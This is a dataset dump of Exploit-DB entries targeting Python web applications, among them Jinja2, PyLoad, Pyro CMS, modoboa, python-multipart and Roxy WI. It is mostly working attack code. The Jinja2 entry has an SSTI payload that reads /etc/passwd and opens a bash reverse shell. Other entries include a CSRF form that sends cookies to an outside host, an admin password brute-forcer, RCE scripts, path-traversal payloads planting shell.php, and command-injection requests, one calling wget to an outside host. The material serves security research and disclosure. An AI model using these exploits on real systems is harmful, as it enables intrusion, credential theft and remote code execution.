deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46386
Description: Jinja2 2.10 - 'from_string' Server Side Template Injection
Type: webapps
Platform: python
Date: 2019-02-15
Author: JameelNabbo

Exploit:
'''
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341


// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.


//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2


@app.route("/")
def index():
            username = request.values.get('username')
            return Jinja2.from_string('Hello ' + username).render()


if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}


Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}


How to prevent it:
Never let the user provide template content.
'''
Exploit-DB #40799
Description: Mezzanine 4.2.0 - Cross-Site Scripting
Type: webapps
Platform: python
Date: 2016-11-21
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Mezzanine 4.2.0
Fixed in:            4.2.1
Fixed Version Link:  https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Vendor Website:      http://mezzanine.jupo.org/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  09/05/2016
Disclosed to public: 11/10/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

Mezzanine is an open source CMS written in python. In version 4.2.0, it is
vulnerable to two persistent XSS attacks, one of which requires extended
privileges, the other one does not. These issues allow an attacker to steal
cookies, inject JavaScript keyloggers, or bypass CSRF protection.

3. Details

XSS 1: Persistent XSS via Name in Comments

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When leaving a comment on a blog post, the author name is echoed
unencoded in the backend, leading to persistent XSS.

Proof of Concept:

Leave a comment, as author name use '"><img src=no onerror=alert(1)> To trigger
the payload, view the comment overview in the admin backend: http://
localhost:8000/admin/generic/threadedcomment

XSS 2: Persistent XSS via HTML file upload

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:N/I:P/A:N

Description: When uploading files via the media manager, the extension .html is
allowed, leading to XSS via file upload. An account with the permissions to
upload files to the media manager is required.

Proof of Concept:

Visit the media manager and upload a .html file: http://localhost:8000/admin/
media-library/upload/?ot=desc&o=date As uploaded files are stored inside the
web root, it can now be accessed, thus executing the JavaScript code it
contains: http://localhost:8000/static/media/uploads/xss.html

4. Solution

To mitigate this issue please upgrade at least to version 4.2.1:

https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/05/2016 Vendor replies
09/19/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Mezzanine-420-XSS-177.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Exploit-DB #51276
Description: modoboa  2.0.4 - Admin TakeOver
Type: webapps
Platform: python
Date: 2023-04-06
Author: 7h3h4ckv157

Exploit:
/* # Exploit Title: modoboa  2.0.4 - Admin TakeOver 
# Description: Authentication Bypass by Primary Weakness 
# Date: 02/10/2023
# Software Link: https://github.com/modoboa/modoboa
# Version: modoboa/modoboa prior to 2.0.4
# Tested on: Arch Linux 
# Exploit Author: 7h3h4ckv157
# CVE: CVE-2023-0777 


*/

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

func main() {
	fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")
	host := getInput("Enter the target host: ")
	username := getInput("Enter the Admin's Name: ")
	passwordFile := getInput("Provide the path for Password-Wordlist: ")


	passwords, err := readLines(passwordFile)
	if err != nil {
		fmt.Println("Error reading password file:", err)
		os.Exit(1)
	}

	for _, password := range passwords {
		data := fmt.Sprintf("----------------------------[PII_REDACTED][PII_REDACTED]357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n----------------------------[PII_REDACTED][PII_REDACTED]357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n----------------------------[PII_REDACTED][PII_REDACTED]357131552--\r\n\r\n", username, password)

		headers := map[string]string{
			"Host":           host,
			"User-Agent":     "Anonymous",
			"Accept":         "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
			"Accept-Language": "en-US,en;q=0.5",
			"Accept-Encoding": "gzip, deflate",
			"Content-Type":   "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]357131552",
		}

		resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)
		if err != nil {
			fmt.Println("Error sending request:", err)
			os.Exit(1)
		}

		if resp.StatusCode == 200 {
			fmt.Printf("\n\tValid password Found: %s\n", password)
			break
		} else {
			fmt.Printf("Invalid password: %s\n", password)
		}

		// Delay the next request to limit the requests per second
		delay := time.Duration[PII_REDACTED]/50) * time.Nanosecond
		time.Sleep(delay)
	}
}

// Read the lines from a file and return them as a slice of strings
func readLines(filename string) ([]string, error) {
	content, err := ioutil.ReadFile(filename)
	if err != nil {
		return nil, err
	}
	return strings.Split(string(content), "\n"), nil
}

// Send a POST request with the given headers and data
func postRequest(url string, headers map[string]string, data string) (*http.Response, error) {
	req, err := http.NewRequest("POST", url, strings.NewReader(data))
	if err != nil {
		return nil, err
	}
	for key, value := range headers {
		req.Header.Set(key, value)
	}
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return nil, err
	}
	return resp, nil
}

// Get user input and return the trimmed value
func getInput(prompt string) string {
	fmt.Print(prompt)
	var input string
	fmt.Scanln(&input)
	return strings.TrimSpace(input)
}
Exploit-DB #38738
Description: Plone - 'in_portal.py' < 4.1.3 Session Hijacking
Type: webapps
Platform: python
Date: 2013-07-31
Author: Cyrill Bannwart

Exploit:
source: https://www.securityfocus.com/bid/61964/info

Plone is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to hijack user sessions and gain unauthorized access to the affected application.

Note: This issue was previously discussed in the BID 61544 (Plone Multiple Remote Security Vulnerabilities), but has been moved to its own record to better document it. 

https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch
Exploit-DB #49930
Description: Products.PluggableAuthService 2.6.0 - Open Redirect
Type: webapps
Platform: python
Date: 2021-06-02
Author: Piyush Patil

Exploit:
# Exploit Title: Products.PluggableAuthService 2.6.0 - Open Redirect
# Exploit Author: Piyush Patil
# Affected Component: Pluggable Zope authentication/authorization framework
# Component Link: https://pypi.org/project/Products.PluggableAuthService/
# Version: < 2.6.1
# CVE: CVE-2021-21337
# Reference: https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr


--------------------------Proof of Concept-----------------------

1- Goto https://localhost/login
2- Turn on intercept and click on the login
3- Change "came_from" parameter value to https://attacker.com
4- User will be redirected to an attacker-controlled website.

Fix: pip install "Products.PluggableAuthService>=2.6.1"
Exploit-DB #51532
Description: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
Type: webapps
Platform: python
Date: 2023-06-14
Author: Gabriel Lima

Exploit:
# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz 
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297

import requests, argparse

parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()

def doRequest(url):
    try:
        res = requests.get(url + '/flash/addcrypted2')
        if res.status_code == 200:
            return True
        else:
            return False

    except requests.exceptions.RequestException as e:
        print("[!] Maybe the host is offline :", e)
        exit()

def runExploit(url, cmd):
    endpoint = url + '/flash/addcrypted2'
    if " " in cmd:
        validCommand = cmd.replace(" ", "%20")
    else:
        validCommand = cmd

    payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
    test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
    print('[+] The exploit has be executeded in target machine. ')

def main(targetUrl, Command):
    print('[+] Check if target host is alive: ' + targetUrl)
    alive = doRequest(targetUrl)
    if alive == True:
        print("[+] Host up, let's exploit! ")
        runExploit(targetUrl,Command)
    else:
        print('[-] Host down! ')

if(arguments.url != None and arguments.cmd != None):
    targetUrl = arguments.url
    Command = arguments.cmd
    main(targetUrl, Command)
Exploit-DB #39199
Description: Pyplate - 'addScript.py' Cross-Site Request Forgery
Type: webapps
Platform: python
Date: 2014-05-23
Author: Henri Salo

Exploit:
source: https://www.securityfocus.com/bid/67610/info

Pyplate is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Pyplate 0.08 Beta is vulnerable; other versions may also be affected.

<html>
  <body>
    <form action="http://www.example.com/admin/addScript.py"; method="POST">
      <input type="hidden" name="title" 
value="<script>new&#32;Image&#40;&#41;&#46;src&#61;"http&#58;&#47;&#47;bugs&#46;fi&#47;evil&#46;py&#63;cookie&#61;"&#32;encodeURI&#40;document&#46;cookie&#41;&#59;<&#47;script>"
 />
      <input type="hidden" name="file" value="bugs" />
      <input type="hidden" name="category" value="&#47;" />
      <input type="hidden" name="post" value="<p>bugs<&#47;p>&#13;&#10;" />
      <input type="hidden" name="tags" value="" />
      <input type="hidden" name="description" value="" />
      <input type="hidden" name="state" value="new" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #51669
Description: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
Type: webapps
Platform: python
Date: 2023-08-08
Author: Daniel Barros

Exploit:
# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: admin@adm.com
# 3. Enter the [CREDENTIAL_REDACTED]
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main()
Exploit-DB #52543
Description: Python-Multipart 0.0.22 - Path Traversal
Type: webapps
Platform: python
Date: 2026-04-30
Author: jefersoncardoso.dev

Exploit:
# Exploit Title: Python-Multipart 0.0.22 - Path Traversal 
# Date: 2026-02-23
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/Kludex/python-multipart
# Software Link: https://pypi.org/project/python-multipart/
# Version: < 0.0.22 (REQUIRED)
# Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)
# CVE : CVE-2026-24486

"""
PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.
Allows arbitrary file write via malicious filename.

"""

import requests
import time
import os
import sys


TARGET_URL   = "http://localhost:8000/upload"   
SOURCE_FILE  = "/etc/hosts" # Small file to upload (content written to target)

if not os.path.exists(SOURCE_FILE):
    print(f"[!] Source file not found: {SOURCE_FILE}")
    sys.exit(1)

# Malicious filenames (payloads)
payloads = [
    "/tmp/poc-abs.txt",
    "/etc/poc-etc.txt",
    "/root/poc-root.txt",
    "../../var/www/html/shell.php",
    "../../etc/profile.d/mal.sh",
    "../../../tmp/poc-deep.txt",
    "../../etc/passwd%00.txt",
    "//etc//poc-double-slash.txt",
]

print("[*] CVE-2026-24486 PoC")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Using source file: {SOURCE_FILE}")
print(f"[*] Testing {len(payloads)} payloads...\n")

for i, filename in enumerate(payloads, 1):
    print(f"[{i}/{len(payloads)}] Testing: {filename}")
    
    try:
        files = {
            'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')
        }
        
        r = requests.post(TARGET_URL, files=files, timeout=8)
        
        print(f"    Status: {r.status_code}")
        if r.text.strip():
            print(f"    Response: {r.text.strip()}")
        else:
            print("    Response: (empty)")
    
    except Exception as e:
        print(f"    Error: {e}")
    
    print("-" * 50)
    time.sleep(1.0)

print("\n[*] Done.")
print("Verify files in container:")
print("  docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null")
print("\nMitigation:")
print("  - Upgrade: pip install python-multipart>=0.0.22")
print("  - Avoid UPLOAD_KEEP_FILENAME=True")
print("  - Sanitize: filename = os.path.basename(file.filename)")
Exploit-DB #51226
Description: Roxy WI v6.1.0.0 - Improper Authentication Control
Type: webapps
Platform: python
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# Exploit Title: Roxy WI v6.1.0.0 - Improper Authentication Control
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.0.0
# Author: Nuri Çilengir
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31125


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: https://192.168.56.114
Dnt: 1
Referer: https://192.168.56.114/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45
Exploit-DB #51227
Description: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
Type: webapps
Platform: python
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# ADVISORY INFORMATION
# Exploit Title: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.0.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31126


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;
Exploit-DB #51228
Description: Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload
Type: webapps
Platform: python
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# ADVISORY INFORMATION
# Exploit Title: Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.1.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31161


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com;
Exploit-DB #47441
Description: TheSystem 1.0 - Command Injection
Type: webapps
Platform: python
Date: 2019-09-30
Author: Sadik Cetin

Exploit:
# Exploit Title: thesystem Command Injection 
# Author: Sadik Cetin 
# Discovery Date: 2019-09-28 
# Vendor Homepage: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Software Link: [ https://github.com/kostasmitroglou/thesystem | https://github.com/kostasmitroglou/thesystem ] 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Type: Webapps 
# Description: 
# Simple Command injection after login bypass(login_required didn't used) 

POST /run_command/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]91 
Content-Length: 325 
Connection: close 
Referer: [ http://127.0.0.1:8000/run_command/ | http://127.0.0.1:8000/run_command/ ] 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567[PII_REDACTED]231977; _gid=GA1.1.882[PII_REDACTED]577719 
Upgrade-Insecure-Requests: 1 
----------------------------[PII_REDACTED]91 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
7rigJnIFAByKlmo6NBD7R8Ua66daVjdfiFH16T7HxJrP43GhJ7m7mVAIFIX7ZDfX 
----------------------------[PII_REDACTED]91 
Content-Disposition: form-data; name="command" 
ping 127.0.0.1 
----------------------------[PII_REDACTED]91-- 

HTTP/1.1 200 OK 
Date: Sat, 28 Sep 2019 09:42:26 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Length: 429 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 

Pinging 127.0.0.1 with 32 bytes of data: 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 
Ping statistics for 127.0.0.1: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
Minimum = 0ms, Maximum = 0ms, Average = 0ms 

When I try to run following command, all commands run: 
dir 
whoami